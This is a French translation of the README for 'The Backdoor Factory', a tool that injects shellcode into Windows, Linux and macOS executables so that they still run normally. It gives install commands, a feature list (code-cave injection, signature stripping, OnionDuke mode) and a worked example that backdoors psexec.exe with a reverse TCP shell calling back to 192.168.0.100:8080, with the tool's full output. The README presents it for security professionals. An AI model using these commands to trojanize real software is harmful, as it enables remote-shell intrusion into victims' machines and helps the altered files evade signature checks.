Patcher les binaires PE, ELF et Mach-O avec du shellcode — nouvelle version en développement, disponible uniquement pour les sponsors.
Pour les professionnels de la sécurité et les chercheurs uniquement.
L'objectif de BDF est de patcher les binaires exécutables avec le shellcode souhaité par l'utilisateur et de poursuivre l'exécution normale de l'état d'avant patch.
Black Hat USA 2015 :
Vidéo : https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper : https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015 :
Vidéo : https://archive.org/details/joshpitts_shmoocon2015
Paper : https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014 :
Vidéo : http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013 :
Vidéo : http://www.youtube.com/watch?v=jXLb2RNX5xs
Démo du module d'injection : http://www.youtube.com/watch?v=04aJAex2o3U
Diapositives : http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Contactez le développeur sur :
IRC :
irc.freenode.net #BDFactory
Twitter :
@midnite_runr
Sous licence BSD à 3 clauses
Voir le wiki : https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
###À L'ANCIENNE
####Dépendances #####Pour utiliser OnionDuke, vous DEVEZ être sur une machine Intel car aPLib ne prend pas encore en charge le chipset ARM.
Le moteur Capstone peut être installé depuis PyPi avec :
sudo pip install capstone
Pefile, version la plus récente :
https://code.google.com/p/pefile/
osslsigncode (inclus dans le dépôt) :
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Installation sous Kali :
apt-get update
apt-get install backdoor-factory
AUTRE INSTALLATION *NIX/MAC :
./install.sh
Ceci installera Capstone et utilisera pip pour installer pefile.
MISE À JOUR :
./update.sh
Prise en charge :
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
et Mach-O x86/x64 et ces formats dans les fichiers FAT
Fichiers packés : PE UPX x86/x64
Expérimental : OpenBSD x32
Certains exécutables disposent de protections intégrées ; de ce fait, cela ne fonctionnera pas sur tous les binaires. Il est conseillé de tester les binaires cibles avant de les déployer chez des clients ou de les utiliser dans des exercices. Je suis sur le point de contourner NSIS, le contournement de ces protections sera donc inclus à l'avenir.
Un grand merci à Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sans lui, j'essaierais encore de faire des choses stupides
avec le format elf.
Merci également à Silvio Cesare pour son article de 1998
(http://vxheaven.org/lib/vsc01.html) sur lequel ces techniques
de patch ELF sont basées.
./backdoor.py -h Usage: backdoor.py [options]
##Fonctionnalités :
###Fichiers PE
Peut trouver toutes les codecaves dans un EXE/DLL.
Par défaut, efface le pointeur vers la table des certificats PE, retirant ainsi la signature du binaire.
Peut injecter un shellcode dans des code caves ou dans une nouvelle section.
Peut détecter si un binaire PE nécessite de s'exécuter avec des privilèges élevés.
Lors de la sélection des code caves, vous pouvez utiliser les commandes suivantes :
-Jump (j), pour le saut de code cave
-Single (s), pour patcher tout votre shellcode dans une seule cave
-Append (a), pour créer une code cave
-Ignore (i ou q), peu importe, ignorer ce binaire
Peut ignorer les DLL
Patch de la table d'imports
AutoPatching (-m automtic)
Onionduke (-m onionduke)
###Fichiers ELF
Étend le SEGMENT TEXT de 1000 octets (en octets) et injecte le shellcode dans cette section de code.
###Fichiers Mach-O Patch de la section Pre-Text et suppression de la signature
###Vue d'ensemble
L'utilisateur peut :
-Fournir un shellcode personnalisé.
-Patcher un répertoire d'exécutables/DLL.
-Sélectionner uniquement les binaires x32 ou x64 à patcher.
-Inclure BDF dans d'autres projets Python, voir pebin.py et elfbin.py
###Patcher un exe/dll à l'aide d'une code cave existante :
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patcher un exe/dll en ajoutant une section de code :